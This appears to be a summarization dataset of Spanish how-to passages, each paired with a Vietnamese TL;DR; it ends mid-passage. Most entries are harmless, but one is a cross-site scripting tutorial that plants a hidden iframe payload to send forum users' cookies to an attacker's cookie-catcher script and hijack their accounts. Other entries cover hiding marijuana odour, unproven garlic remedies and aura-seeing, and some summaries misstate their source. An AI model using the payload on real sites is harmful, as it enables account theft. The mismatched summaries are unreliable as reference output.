Un número significativo de personas usan zapatos que no les quedan bien, tal vez porque los compraron de oferta o se los regalaron, o por varias otras razones. Independientemente de esto, usa zapatos que te queden bien, no solo en términos de largo, sino también de ancho. Usar zapatos que no sean los adecuados para tus pies no solo te causará ampollas, juanetes y callos, sino que también pueden reducir tu estabilidad y comprometer la biomecánica de tus pies y, por lo tanto, causar dolor de espalda y otros problemas en las articulaciones.  Pruébate los zapatos en la tarde, porque a esa hora es cuando tus pies son un poco más grandes, generalmente debido a la hinchazón y a la leve compresión de los arcos. La mayoría de los zapatos comerciales tienen un ancho regular (medio), así que es probable que tengas que hacer un pedido especial al fabricante si tus pies son realmente angostos o anchos. Algunos calzados podrían quedarte bien, como las sandalias, pero aun así pueden causar problemas en los pies y en el sistema músculo esquelético debido a la falta de arco y de apoyo en los talones. Sin importar si tienes pies planos o no, usar zapatos con un buen soporte en los arcos beneficiará a tus pies y mejorará tu modo de andar, al menos cuando camines y corras. Usar zapatos con buen apoyo también podría reducir significativamente tu dolor de espalda o aliviar los síntomas por completo, dependiendo de las causas. Por lo tanto, cuando te compres zapatos nuevos, ya sea para caminar o para hacer deportes, busca unos con un buen apoyo para los arcos, espacio en el área de los dedos, taloneras firmes y suelas flexibles. Compra calidad y evita los estilos de moda de apariencia endeble.  Usar sandalias planas, chanclas y otros zapatos de talón abierto en la playa o en la alberca probablemente esté bien, pero no es recomendable usarlos para caminar mucho o para hacer cualquier tipo de ejercicio.  Evita los zapatos con tacones de más de 5 centímetros (2 pulgadas) porque cambian el centro de gravedad y producen tensión en la...

TL;DR in Vietnamese:

Mua giày vừa chân. Mua giày hỗ trợ. Đánh giá trước khi mua giày chạy bộ. Có một cặp miếng lót giày.


Un ortopedista observará tus radiografías y otros exámenes para ayudarte a determinar el mejor tratamiento. Tendrá en cuenta el tipo de fractura (intra o extraarticular), así como la complejidad (fractura de Bennett o de Rolando). En casos relativamente simples (p.ej., una fractura extraarticular), el médico puede reubicar los fragmentos fracturados de forma manual sin la necesidad de una cirugía. Te aplicará anestesia antes de intentar realinear los fragmentos.  En este método (también conocido como "reducción cerrada"), el médico generalmente jala la fractura para realinearla mientras utiliza la fluoroscopía (radiografía continua y en tiempo real) para ver los lugares donde es necesario realinear los fragmentos.  Ten en cuenta que algunas fracturas de Rolando, sobre todo aquellas donde los huesos se rompen en demasiadas partes como para poder atornillarse o sujetarse, también pueden tratarse con este método, en donde el cirujano moldea los fragmentos lo mejor posible. En el caso de las fracturas intraarticulares (como las fracturas de Bennett y Rolando), el ortopedista generalmente sugiere una cirugía. El tipo específico de intervención dependerá de la complejidad de la fractura. Las opciones habituales son las siguientes:  El uso de la fluoroscopía para colocar cables a través de la piel a fin de realinear los fragmentos. Esta opción generalmente se realiza para tratar las fracturas de Bennett, donde los fragmentos han permanecido muy cerca. La apertura quirúrgica de la mano con la finalidad de colocar tornillos o pernos pequeños en los huesos para mantenerlos correctamente alineados. Las complicaciones potenciales de las alternativas quirúrgicas son lesiones en los nervios o ligamentos, rigidez y un mayor riesgo de artritis. Independientemente de que tu caso en particular requiera una cirugía o no, el médico te pondrá un yeso en el pulgar para inmovilizarlo y mantener todos los fragmentos correctamente en su lugar durante el periodo de recuperación.  Lo más probable es que debas utilizar el yeso de 2 a 6...

TL;DR in Vietnamese:

Khám với bác sĩ ngoại chỉnh hình. Hỏi về lựa chọn điều trị không phẫu thuật. Xem xét điều trị bằng phẫu thuật. Cố định ngón cái. Khám với bác sĩ vật lý trị liệu.


Un pensamiento puede cambiar un sentimiento. Para sentirte mejor, elige un mejor pensamiento. Podrías notar la alta frecuencia de tus pensamientos negativos, lo que te mostrará que hay lugar para mejorar. Enfócate en generar pensamientos positivos para reemplazar los negativos.  Si te das cuenta de que piensas en cosas negativas acerca de ti, repítete “Detente” y luego reemplaza el pensamiento con algo positivo, como “Estoy llenando mi mente con ideas positivas que cambiarán mis creencias. Estoy cambiando mi vida”. Por ejemplo, si tienes el pensamiento “No tiene sentido intentarlo, porque sé que fracasaré”, cámbialo por algo como “El fracaso es una oportunidad para aprender. Si no lo hago bien esta vez, siempre puedo intentarlo de nuevo”. Sé la primera persona a quien felicitar por cualquier trabajo bien realizado. Trata de ver tus rasgos positivos de la manera en que los demás te ven.  Cuestiona tu autopercepción. Tal vez estés juzgándote duramente sin siquiera contar con evidencia de respaldo. Aun cuando creas que sacar la basura no es de gran importancia, date un reconocimiento por haber completado la tarea. No importa qué tan grande sea, debes honrarte al reconocer las cosas que puedes hacer en lugar de enfocarte en aquellas que creas no poder. Comienza de manera gradual. Si sufres una apatía grave, es insensato pasar directamente hacia el extremo de adoptar nuevas responsabilidades y ambiciones. Haz cambios pequeños al principio y procura dirigirte gradualmente hacia responsabilidades más significativas. Cada paso que des hacia adelante es un paso más lejos de la apatía. Por ejemplo, si sientes que todo lo que puedes hacer en un día es despertarte y dirigirte hacia el sofá, probablemente no te sea útil decidirte a correr una maratón. Córtate el cabello o cambia tu apariencia radicalmente. Cortarte el cabello puede ser una declaración fuerte o una rebelión silenciosa contra la apatía. Esto puede ser sumamente eficaz en darte un cambio pequeño pero significativo que te saque de tu rutina. Si has dormido...

TL;DR in Vietnamese:

Thay đổi cách suy nghĩ. Ngừng các hành vi thể hiện sự tự căm ghét bản thân và suy nghĩ không phù hợp. Tiến hành từ bước nhỏ. Thay đổi ngoại hình. Thay đổi giờ đi ngủ và giờ thức dậy. Rèn luyện cơ thể và tâm trí. Theo dõi chế độ dinh dưỡng của bạn. Thực hiện những thay đổi lớn trong suy nghĩ và hành động. Thay đổi công việc. Thay đổi chỗ ở. Kết thúc mối quan hệ không lành mạnh. Giữ cho bản thân luôn bận rộn.


Un poco de maquillaje o corrector puede ser muy efectivo para cubrir un chupetón, solo asegúrate de conseguir un color que coincida con tu tono de piel y aplícalo correctamente. De lo contrario, se verá demasiado obvio. El maquillaje teatral es extragrueso y pesado, así que es posible que puedas recurrir a él si tratas de ocultar un chupetón grande. La bufanda es tu mejor amiga cuando se trata de ocultar un chupetón en el cuello y además es un artículo de moda que nadie te podrá cuestionar si lo usas (a menos que la temperatura sea de 38 °C o 100 °F). Envuelve la bufanda estratégicamente alrededor de tu cuello y asegúrate de verte en un espejo de vez en cuando para comprobar que no se haya movido y que tu chupetón quede expuesto. Otras opciones para cubrir un chupetón en el cuello incluyen usar un suéter con cuello (te lo reiteramos, cuando las condiciones climáticas lo permitan) o soltar tu cabello, si es lo suficientemente largo. Una tirita cubrirá efectivamente el chupetón y le dará tiempo para sanar lejos de las miradas indiscretas de los demás. Sin embargo, tener una tirita en el cuello puede ser muy obvio, así que tendrás que inventar una excusa muy creíble para usarla, por ejemplo: “Me quemé con mi plancha” o “Me salió un grano”. Si recibiste el chupetón en la parte interna del codo, tienes suerte, ya que puedes decir que donaste sangre y, por lo tanto, ¡actuar como un héroe! Se cree que la crema de árnica acelera el proceso de curación de los moretones, así que es posible que sea efectiva para aclarar los chupetones. Hay una serie de remedios caseros que supuestamente ayudan a acelerar el proceso de curación de un chupetón, como aplicar una bolsa de hielo, frotarlo con un peine, rasparlo con una moneda y cubrirlo con pasta de dientes. Todos nuestros métodos y otros más están detallados en el artículo “Cómo quitar un chupetón”.

TL;DR in Vietnamese:

Sử dụng kem che khuyết điểm. Quấn khăn choàng. Dán băng cá nhân. Đẩy nhanh quá trình tự hồi phục.


Un problema común de las conclusiones es que la gente solo repite su tesis y resume lo que ya se había mencionado. Esto no le aporta a los lectores una razón convincente para leer la conclusión, ya que saben de antemano de lo que vas a hablar. En cambio, intenta llevar al lector “al siguiente nivel” dentro de tu conclusión o bríndale una sofisticación más profunda de las ideas originales. No hay necesidad de obstruir el final del ensayo con citas y análisis, que ya debieron haberse incluido en los párrafos principales. La conclusión es el lugar donde agrupas todo para los lectores, no donde les presentas nueva información. No utilices muchas palabras pomposas en la conclusión. Lo que quieres es que sea legible y relacionable, no rígida y aburrida. Es mucho mejor usar un lenguaje claro y conciso que un enunciado incoherente lleno de palabras excesivamente largas. Tampoco uses las palabras “En primera”, “En segunda”, “En tercera”, etc. para hacer hincapié en tus puntos. Mantén claro lo que estás mencionando y la cantidad de punto que tienes. Este no es el momento para incluir nuevas ideas o contenido. Así le quitas enfoque al argumento original y confundes a los lectores. No revuelvas las cosas, apóyate únicamente en la trayectoria que tomó el ensayo y expresa lo que piensas después de haber realizado el análisis necesario. La conclusión no es el apartado donde debas hablar de pequeñeces del ensayo. De hecho, es la parte del trabajo en donde retrocedes un paso para visualizar el panorama completo. Asegúrate de que el ensayo se enfoque en su mismo corazón, no en una parte insignificante del mismo. Estas palabras no son una manera superior para iniciar la transición.

TL;DR in Vietnamese:

Đừng chỉ tái khẳng định luận điểm. Không nên trích dẫn. Không dùng ngôn từ rườm rà. Không thêm thông tin mới vào kết luận. Đừng tập trung vào một điểm nhỏ hay một vấn đề trong tiểu luận.


Un profesional de la salud mental puede brindarte herramientas adicionales para hacer frente a las dificultades de superar una adicción. Si decides acudir a un terapeuta, recuerda que nadie te va a juzgar ni regañar por tener un problema. De hecho, mientras más honesto seas en cuanto a los detalles de tu problema, mejor podrá ayudarte tu terapeuta.  Una ventaja importante de hacer terapia es que podrás lidiar con el dolor de tu pasado que probablemente contribuye a la raíz de tu adicción. Esto puede resultar embarazoso, especialmente debido a la naturaleza de tu adicción. Sin embargo, al realizar esto demuestras que tienes la fuerza y la capacidad de detectar y resolver los problemas en tu vida. Si quieres evitar detallar la razón por la que necesitas ayuda, pide que te deriven a un terapeuta diciendo algo ambiguo (por ejemplo, "No me he estado sintiendo bien conmigo mismo últimamente" o "Me siento desconectado de todo el mundo"). Si no te sientes cómodo pidiéndole ayuda a tus padres, intenta pedírsela a tu consejero escolar u otro adulto de tu confianza. En algunos casos, la adicción a la pornografía puede ser el resultado de un desequilibrio hormonal que intensifica el impulso sexual. Si sientes que tu obsesión por consumir pornografía no se ve afectada a pesar de todas las medidas que has tomado para recuperarte, podrías tener un problema subyacente que solo un médico puede diagnosticar. Existen muchos adolescentes que luchan contra la adicción a la pornografía. Al unirte a uno de estos grupos de apoyo, te darás cuenta de que no estás solo. Esto es especialmente importante ya que la adicción a la pornografía es algo que se realiza en la clandestinidad, lo que hace que el problema incremente. El grupo te ayudará a rendir cuentas de tus metas y además constituirá un espacio en el que puedes compartir tu historia y recibir consejos detallados para enfrentar mejor el problema. Prueba con un programa de 12 pasos en tu localidad para superar todo tipo de adicciones. Sexo Adictos Anónimos (Sex Addicts Anonymous)...

TL;DR in Vietnamese:

Bạn có thể đi điều trị. Hãy nhờ sự trợ giúp từ các thành viên trong gia đình. Hãy hỏi các bác sĩ xem tình trạng nghiện của bạn có liên quan đến vấn đề sức khoẻ không. Bạn có thể tham gia các nhóm tương trợ dành cho tuổi vị thành niên. Hãy bình tĩnh giải quyết những lần tái nghiện.


Un pájaro lleno es un pájaro feliz. Dale semillas, comida en gránulos, frutas y verduras.  Empieza con una comida natural en gránulos que no contenga colorantes ni azúcar añadida. Dale las semillas por separado, no combinadas con la comida en gránulos.  Hay algunos alimentos que tienes que evitar, entre ellos, el aguacate, la berenjena, los champiñones, la cebolla, el chocolate y más. A los periquitos les gusta jugar mucho, así que los juguetes mantendrán muy contento al tuyo, lo cual lo hará una mascota más cariñosa. Dale juguetes brillantes, columpios, aros, campanas, etc. A los periquitos les gusta una casa limpia al igual que los humanos. La diferencia es que ellos viven cerca de su excremento. Mantener su jaula limpia minimiza dicha exposición y ayudará a que se mantenga lindo y saludable. Compra buenas perchas para tu periquito. Las perchas con un diámetro variable, como las ramas naturales de árbol, ayudarán a que haga ejercicio además del que hace cuando lo sacas de su jaula.

TL;DR in Vietnamese:

Cho chúng ăn nhiều loại thực phẩm như thịt. Cung cấp nhiều đồ chơi cho vẹt. Giữ lồng nuôi luôn được sạch sẽ.


Un reciente estudio revisó la eficacia del ajo en 146 personas en el lapso de 3 meses. Las personas que tomaron un suplemento de ajo tuvieron 24 incidencias de síntomas del resfriado, a diferencia de las 65 incidencias en aquellas que no tomaron ajo. Asimismo, aquellas que tomaron ajo tuvieron 1 día menos de síntomas del resfriado.  En otro estudio, aquellas que tomaron ajo tuvieron menos síntomas de un resfriado y se sintieron mejor más pronto, tal vez porque se incrementó un subconjunto de células inmunitarias en aquellas que toman 2,6 g de un suplemento de ajo a diario.  La mayoría de los investigadores creen que los compuestos que contienen azufre en el ajo, las alicinas, son los responsables de los efectos contra el resfriado común. Sin embargo, hay una serie de otros elementos en el ajo, como las saponinas y los derivados del aminoácido, que se cree que contribuyen e la reducción de la carga viral, aunque no está claro cómo podrían hacerlo. Muchas personas podrían preocuparse por el olor del ajo. Las mismas sustancias que parecen ser eficaces contra el virus del resfriado son también las responsables de su olor. Por lo tanto, para aliviar los síntomas del resfriado, vas a tener que lidiar con ese olor. La buena noticia es que debes quedarte en casa para descansar del trabajo y la escuela, y mantenerte alejado de los demás. También debes descansar y tomar bastantes líquidos. Todo esto significa que, aunque el ajo puede oler, por lo general, solo tú y tus seres queridos estarán cerca. Esto parece ser un pequeño precio a pagar para mejorar más pronto con menos síntomas. Siempre empieza con el ajo fresco de ser posible. Pélalo y usa una prensa de ajo o el lado de una hoja de cuchillo para triturar el ajo. Come más o menos 1 diente de ajo crudo cada 3 a 4 horas. Solo pélalo y cómelo.  Si no te gusta el sabor, lava el ajo mezclándolo con zumo de naranja. También puedes agregarlo a la limonada. Añade el ajo a una mezcla de 2 cucharadas de zumo de limón y 180 a 240 ml (6 a 8 onzas) de agua y remueve.  El ajo...

TL;DR in Vietnamese:

Tìm hiểu xem liệu tỏi có giúp giảm triệu chứng cảm cúm không. Đối phó với mùi tỏi. Ăn tỏi sống. Dùng tỏi khi nấu ăn. Pha trà tỏi. Dùng tỏi dưới dạng thực phẩm bổ sung.


Un síntoma común de la depresión es una falta de deseo por hacer las cosas que solías disfrutar. En lugar de seguir evitando dichas actividades, ¡toma la iniciativa de retomarlas! Si solía gustarte leer, practicar deportes o realizar caminatas, vuelve a realizar estas actividades con regularidad.  Si no te es posible retomar pasatiempos antiguos, elige uno nuevo. Inscríbete en clases que se impartan en tu localidad o realiza algo que siempre te haya interesado. Inscríbete en clases de arte y en actividades de aventura para contar con buenos métodos de aliviar tu depresión. Comienza a realizar estos pasatiempos cada vez que tengas el tiempo para ellos. Al principio, pueden parecer aburridos o insignificantes, pero con el tiempo se volverán más agradables y anhelarás los momentos en que tengas la oportunidad para realizarlos. Se ha demostrado que la vitamina D que obtienes de la luz solar ayuda a reducir la depresión. Pasa unos treinta minutos al día bajo el sol (sin lentes de sol) y bálate con la vitamina D que puede ofrecerte. También puedes consumir esta vitamina en comprimidos a modo de suplemento.   Recibe la luz solar en un parque local o en una reserva natural para combinar lo mejor que puede ofrecerte con la belleza de la naturaleza. Permanecer en la naturaleza cerca de los seres vivientes y en desarrollo te ayudará a fortalecer tus sentidos, y te brindará una mayor energía y enfoque. La exposición a la luz solar también puede ayudarle a tu cuerpo a regular su ritmo circadiano, el cual controla los momentos en que despiertas y te duermes. Por ende, esta exposición te ayudará a sentirte más despierto durante el día y cansado en la noche, lo que te brindará una mayor energía en los momentos adecuados. Si los días suelen ser lluviosos o grises en el lugar donde vives, consigue una lámpara de luz solar. Se trata de una lámpara especial que imita los rayos del sol, mejorando así tu estado de ánimo. Los estudios sugieren que la meditación consciente puede beneficiar a las personas que sufren de depresión y...

TL;DR in Vietnamese:

Chọn một sở thích cũ. Ra ngoài. Luyện tập thiền chánh niệm. Chăm sóc sinh vật sống. Dâng hiến thời gian. Sử dụng kỹ năng thư giãn.


Un tablón de anuncios es un buen ejemplo. Recuerda, si el sitio es seguro, esto no funcionará. Necesitarás introducir un código especial en la "publicación" que capturará los datos de todos los que hagan clic en ella. Intenta averiguar si los filtros del sistema filtran el código externo. Publica <script...>alert("test")</...script> (eliminando los "…"). Si un cuadro de alerta aparece cuando haces clic en la publicación, entonces el sitio es vulnerable a ataques. El objetivo de este ataque es capturar las cookies de los usuarios, que te permitirán acceder a sus cuentas en sitios webs que tengan inicios de sesión vulnerables. Necesitarás un capturador de cookies que capturará las cookies de tu objetivo y las redirigirá. Sube el capturador a un sitio web al cual tengas acceso y que soporte php. Más adelante te daremos un ejemplo de código de capturador de cookies. Ingresa un código apropiado en la publicación para capturar las cookies y enviarlas a tu sitio. Te recomendamos poner algún texto luego del código para reducir las sospechas y evitar que tu publicación sea eliminada. Un código de ejemplo sería: <...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location="YOURURL/cookiecatcher.php?c="+document.cookie)><.../iframe> (eliminando los "…"). Luego, podrás utilizar la información de las cookies, que ya estarán guardadas en tu sitio web con el propósito que necesites.

TL;DR in Vietnamese:

Tìm một trang dễ tấn công cho phép bạn đăng tải nội dung, chẳng hạn như một diễn đàn nào đó. Vào và đăng tải nội dung. Tạo và tải chương trình đánh chặn cookie của bạn. Đăng chương trình đánh chặn cookie của bạn. Sử dụng cookie thu thập được.


Un termómetro de lectura inmediata es lo mejor para revisar la temperatura del salmón. No obstante, asegúrate de poner la sonda del termómetro en la parte más gruesa del salmón, esto debido a que es la parte a la que más tiempo le lleva cocerse. Puedes comprar un termómetro de lectura inmediata en la mayoría de las tiendas de artículos para el hogar y suministros de cocina. Si la temperatura es menor a 43 °C (110 °F), el salmón estará esencialmente crudo. Entre los 43 °C y 52 °C (entre 110 °F y 125 °F), el pescado estará en un término medio crudo. Entre los 52 °C y 60 °C (125 °F y 140 °F), estará entre medio y bien cocido. No querrás que alcance una temperatura superior a los 60 °C (140 °F), porque entonces se secará y endurecerá. Cuando hayas alcanzado el término en el que lo deseas, quita el pescado de la estufa, horno o parrilla. Déjalo reposar de 5 a 10 minutos para que termine de cocinarse y luego sírvelo.

TL;DR in Vietnamese:

Cắm nhiệt kế vào phần dày nhất của miếng cá hồi. Chỉnh nhiệt độ ít nhất là 43°C nhưng không quá 60°C. Lấy cá hồi ra khỏi bếp và để nguyên trong vài phút.


Un termómetro digital puede medir tu temperatura por vía oral, rectal o en la axila. No trates de medir tu temperatura por vía rectal y hazlo solo por vía oral o en la axila. Limpia el termómetro con agua fría, luego aplica alcohol isopropílico y por último enjuaga con agua fría. Nunca utilices un termómetro en tu boca que hayas utilizado anteriormente en tu recto.   No comas o bebas nada cinco minutos antes de tomarte la temperatura. Esto podría cambiar la temperatura en tu boca y producir una medición inexacta. Coloca la punta del termómetro debajo de tu lengua y mantenlo ahí durante unos 40 segundos. La mayoría de los termómetros digitales suenan para indicarte cuándo han terminado de tomar la temperatura. Después de realizar la medición, enjuaga el termómetro en agua fría, límpialo con alcohol isopropílico y enjuágalo nuevamente para esterilizarlo. Quítate la camiseta o usa una suelta que te permita tomarte la temperatura en la axila. Coloca la punta del termómetro directamente en la axila. Debe tocar únicamente tu piel, no la tela de tu camiseta. Espera unos 40 segundos o hasta que escuches el sonido que te indique que la medición ha finalizado. Toma la temperatura de un niño utilizando cualquier método que realmente pueda soportar. Por ejemplo, un niño de 2 años aún no puede sostener un termómetro debajo de la lengua por el tiempo suficiente como para obtener una lectura exacta. Los termómetros de oído producen resultados variados. La medición más precisa que puedes obtener por tomando la temperatura rectal, lo que no produce dolor en el niño. Este método se recomienda para niños entre tres meses y cuatro años de edad. Asegúrate de que la punta del termómetro esté esterilizada con alcohol isopropílico y luego enjuágala. Después de secar la punta, lubrícala con vaselina para que ingrese con facilidad.  Haz que el niño se acueste boca arriba y que luego levante sus piernas en el aire. Si es un bebé, deberás levantarle las piernas como lo harías al cambiarle el pañal. Introduce el termómetro suavemente de...

TL;DR in Vietnamese:

Dùng nhiệt kế điện tử để đo nhiệt độ ở miệng. Lấy nhiệt độ dưới nách. Quyết định cách đo nhiệt độ cho trẻ em. Đo nhiệt độ qua hậu môn cho trẻ em bằng nhiệt kế điện tử. Đọc kết quả.


Un toque de sombras de ojos o un tono llamativo de lápiz labial mantiene la atención en tu rostro y fuera de tu cuerpo. Asegúrate de que tus cejas estén arqueadas y formadas de manera agradable y de cubrir los círculos debajo de tus ojos que pueden hacer que tu rostro luzca poco favorecedor. Sin embargo, no uses demasiado maquillaje. Simplemente agrega un poco de color a un rasgo a la vez (generalmente tus ojos o labios) y haz que el resto de tu maquillaje luzca natural. Pregúntale a tu estilista sobre estilos que alarguen tu cuello o rostro. En general, el cabello demasiado corto y ancho puede hacer que tu rostro se vea demasiado ancho. No obstante, muchos estilos con capas largas dirigen la atención hacia arriba y abajo en lugar de un lado a otro.  Considera recoger tu cabello y alejarlo de tu rostro. Puedes cepillar la parte superior de tu cabeza para darle un poco de volumen mientras atas tu cabello en una cola de caballo. Usa collares brillantes, atrevidos y largos. Usa joyas y otros accesorios que creen un look vertical y evita usar accesorios horizontales como gargantillas que pueden hacer que tu cuello u otros rasgos luzcan más gruesos. Aunque un cinturón crea una línea horizontal a lo largo de tu cuerpo, un cinturón a la moda atado alrededor de tu cintura natural puede enfatizar la estrechez de tu cintura y crear una silueta favorecedora y esbelta. Usa cinturones angostos en lugar de anchos. De esta manera, harás que tu cintura luzca ajustada en lugar de atada. Por ejemplo, considera usar un cinturón delgado y con diseño de leopardo con atuendo de color negro.

TL;DR in Vietnamese:

Trang điểm để thu hút sự chú ý cho gương mặt. Tạo kiểu tóc. Chọn trang sức làm phụ kiện. Thử thắt lưng.


Una amigdalectomía es un procedimiento relativamente simple y efectivo. En cierta medida es de bajo riesgo y el periodo de recuperación suele ser corto, siendo el dolor de garganta y el sangrado menor los problemas más comunes.  Si el doctor está preocupado por tu historial médico, tu edad u otros factores, quizás te aconseje que tomes otro camino. Toma en cuenta que una amigdalectomía solo se recomendará a alguien con tonsilolitos recurrentes, muy resistentes o complicados. También puedes preguntar al doctor acerca de la posibilidad de extirpar los tonsilolitos. El doctor puede quitarlos usando un equipo especial de irrigación. Se pueden usar distintos antibióticos (como penicilina o eritromicina) para tratar los tonsilolitos, pero estos no pueden revertir la causa subyacente de la afección, que es el alimento atascado en las amígdalas. Puede ocurrir una recaída, y los antibióticos también pueden tener efectos secundarios. La mayoría de los antibióticos matan las bacterias beneficiosas de la boca y del intestino, las cuales podrían ayudar a luchar contra las bacterias problemáticas. El tejido del que están hechos los bolsillos amigdalinos profundos se puede eliminar por medio del láser. La exfoliación por láser empareja la superficie de las amígdalas para que dejen de tener bolsillos y grietas. Sin embargo, este procedimiento tiene algunos riesgos.

TL;DR in Vietnamese:

Nói chuyện với bác sĩ về thủ thuật cắt a-mi-đan. Cân nhắc dùng một liệu trình kháng sinh để điều trị tình trạng sỏi nghiêm trọng hoặc dai dẳng. Hỏi về phương pháp điều trị laser.


Una base para cortar entre la parte de enfrente y la parte de atrás de la camisa para que no cortes a través de ambas partes. Opcional: Lava tu camisa. Las secciones que cortaste se enrollarán en las esquinas y le darán un efecto punk.

TL;DR in Vietnamese:

Chọn một chiếc áo ôm sát để có thành phẩm đẹp nhất. Đặt áo trên một mặt phẳng. Hoàn tất!


Una buena idea consiste en encender un poco de incienso antes de fumar. Puedes comprar incienso en muchos supermercados y tiendas de manualidades. Elige un aroma natural suave. Enciende el incienso aproximadamente 5 minutos antes de empezar a fumar. Esto hará que el olor del incienso se extienda en el aire, lo que ocultará el olor a marihuana con anticipación, cuando empieces a fumar. Este es un dispositivo portátil pequeño que vaporiza los ingredientes activos de la marihuana. Este te permite inhalar la planta sin tener que encenderla en lo absoluto, lo que disminuirá el olor que surja al fumar. Si adquieres un vaporizador de buena calidad, podrás reducir de manera significativa el olor que surja al fumar.  Puedes adquirir un vaporizador en Internet. Si vives en una región en la que el consumo de marihuana es legal con fines recreativos o medicinales, podrías comprar un vaporizador en un distribuidor de marihuana.  Puedes usar un vaporizador en cualquier parte de tu casa, y el olor a marihuana será mucho más débil. Si vas a usar un vaporizador, es probable que no tengas que usar ambientadores o productos o técnicas para eliminar olores.  Una desventaja es que, con frecuencia, los vaporizadores deben cargarse antes de usarlos. Por esta razón, tienes que conectar tu vaporizador por un momento, antes de fumar. Esta pipa es otro tipo de instrumento portátil con el que puedes fumar marihuana. Esta consiste en un instrumento mecánico reutilizable cuyo diseño tiene la apariencia de un cigarrillo. Tendrás que llenar el instrumento con una cantidad pequeña de marihuana y luego fumar como si fuera un cigarrillo. Al igual que los vaporizadores, estas pipas generan menos olor que los otros métodos empleados para fumar. Al igual que los vaporizadores, puedes conseguir estas pipas en Internet. Si vives en una región en donde el consumo de marihuana es legal con fines recreativos o medicinales, podrás comprar estas pipas en un distribuidor de marihuana. Si fumas al aire libre, esto generará menos olor, ya que este se...

TL;DR in Vietnamese:

Thắp hương trước khi hút. Sử dụng máy hóa hơi. Thử dùng loại tẩu “rít một hơi”. Hút ngoài trời nếu việc sử dụng cần sa là hợp pháp. Cân nhắc dùng loại cần sa ăn được. Cân nhắc dùng giống cần sa ít mùi. Sử dụng ống ngụy trang.


Una buena jaula para un solo canario le permitirá volar de un lado a otro todo el tiempo. Compra una que tenga al menos 40 cm (16 pulgadas) de alto y 75 cm (30 pulgadas) de ancho con barrotes que estén separados a 1,3 cm (1/2 pulgada). La jaula debe ser más ancha que alta para darle espacio al ave para volar.  No compres una jaula redonda u ornamental. Estas no tienen suficiente espacio para que el canario pueda volar apropiadamente. Elije una jaula hecha de fierro o de acero cromado. Busca una habitación que esté frecuentemente ocupada para que tu canario no se sienta solo. Coloca la jaula contra la pared o en una esquina alejada de las ventanas, las puertas, los ductos de ventilación, la luz del sol o las corrientes de aire.  La sala, el estudio o el comedor pueden ser buenos lugares. No pongas la jaula en la cocina. No uses aerosoles, aromatizantes, limpiadores, velas aromáticas, cigarros u otras fragancias en la misma habitación en la que está la jaula. No coloques la jaula en el piso. Debe estar al menos a la altura de tus ojos. Usar periódico como forro te ayudará a limpiar los desechos del ave fácilmente. Cambia el periódico todos los días para que la jaula no se ensucie demasiado. No uses arena para gato o virutas de madera para cubrir el piso de la jaula. Las perchas le dan al canario un lugar para dormir. Dos perchas en su jaula lo mantendrán feliz y en movimiento. Busca perchas con un diámetro de entre 9,5 mm (3/8 de pulgada) y 20 mm (3/4 de pulgada).  Las ramas de árbol son excelentes perchas. Coloca las perchas separadas por unos 40 cm (16 pulgadas). Ponlas en puntos opuestos de la jaula para maximizar su espacio para volar. Generalmente, los canarios necesitan tres recipientes: uno para la comida, otro para el agua y el otro para bañarse. No pongas los recipientes bajo las perchas, porque les pueden caer desechos.

TL;DR in Vietnamese:

Mua một chiếc lồng chim hình chữ nhật cỡ lớn. Tìm một nơi an toàn nhưng có người lui tới để đặt lồng chim. Dùng giấy báo hoặc tấm lót để lót lồng chim. Lắp cây đậu cho chim. Đặt vào lồng các khay đựng thức ăn, nước uống và nước tắm cho chim.


Una buena manera de celebrarlo es llevarlo a uno de sus restaurantes favoritos. No tienes que elegir algo súper elegante. Solo elige algo que sabes que le gustará. De forma opcional, prepara a tu novio una buena cena en casa que él disfrute. No tienes que celebrar solos tú y él. ¡Invita a sus amigos y todos podrán celebrarlo contigo! Crea un tema divertido que a tu novio le encantará, y él se sentirá aún más especial.  Por ejemplo, si a tu chico le encanta el fútbol y tiene un cumpleaños de otoño, prueba una barbacoa con un bar Bloody Mary.  También puedes probar una fiesta temática de una década, como una fiesta de los años 40 o una fiesta de los 80. Haz un tema de fiesta con su comida favorita. Prueba un taco bar, por ejemplo, donde prepares los tacos, las diferentes carnes y todos los ingredientes. También puedes hacer un nacho bar o una fiesta de hacer tu propia pizza. Llévalo a una experiencia nueva y divertida que crees que disfrutará, desde una clase de fabricación de cerveza hasta una clase de pintura de una noche. De forma opcional, invita a toda la pandilla a una experiencia grupal. Por ejemplo, puedes probar una experiencia de vuelo de gravedad cero, una sala de escape o un crucero de cata de vinos en un lago o bahía local. o compra un pastel bastante bueno. ¡No puedes tener un cumpleaños sin pastel o algún tipo de dulce! Ya sea que compres o hagas el pastel, haz que sea un sabor que a tu novio le encante.  Hazlo tonto y ridículo, como un pastel de unicornio, si a tu novio le gusta reír. Prueba un pastel decorado temático, como uno de fútbol o de golf, para ajustarlo a los intereses de tu novio. Si a tu novio no le gusta el pastel, dale algo dulce que le guste, como galletas, un pay o brownies.  Si no te gustan los dulces, intenta hacer algo especial que le guste y que lleve algo de tiempo, como carne seca o Chex Mix. Haz que el día de tu novio sea especial organizando un día ultra relajante. Dale un masaje de manera personal o reserva un masaje para una pareja juntos. Pasa el rato en una bañera de...

TL;DR in Vietnamese:

Mời chàng đi ăn tối. Tổ chức một bữa tiệc vui nhộn theo chủ đề. Thử một hoạt động mới thú vị cùng bạn trai hoặc cả nhóm. Nướng bánh Chăm sóc anh ấy bằng cách mát xa và dành một ngày để thư giãn. Hãy tự nhiên và vui vẻ như thể bạn được làm trẻ con thêm lần nữa.


Una buena manera de comenzar a ver auras es practicar sentirlas. Eso significa prestar atención a cómo te sientes en presencia de alguien. Respira profundamente, exhala y luego concéntrate en las sensaciones físicas en tu cuerpo y en tu reacción intuitiva. Pregúntate cómo te hace sentir estar cerca de esa persona: ¿sereno? ¿inquieto? ¿agitado? Piensa qué color le adjudicarías a esta persona. A medida que tus habilidades se desarrollen, sentir y ver auras te resultará más fácil. Nuestra visión periférica está menos dañada que la parte central de nuestra retina, y tiene células fotosensibles más sanas. Además, dado que con el correr de los años hemos entrenado nuestra visión central a acostumbrarse a ciertas maneras, puede resultar difícil recurrir a ella ahora para ver de la manera nueva requerida a fin de ver auras. Un ejercicio simple que puedes hacer es practicar concentrarte en un punto por entre 30 y 60 segundos, esto aumentará tu sensibilidad a la luz. Entrenar un poco con los colores primarios, brillantes, puede ayudarte a desarrollar la habilidad de ver auras. Cubre un libro en papel azul o rojo y páralo derecho sobre una mesa a varios centímetros (pies) de distancia. Asegúrate de que la pared detrás del libro sea blanca o neutra y de que la luz de la habitación sea suave pero no tenue. Cierra los ojos y respira profundamente varias veces, relájate y luego abre los ojos y mira 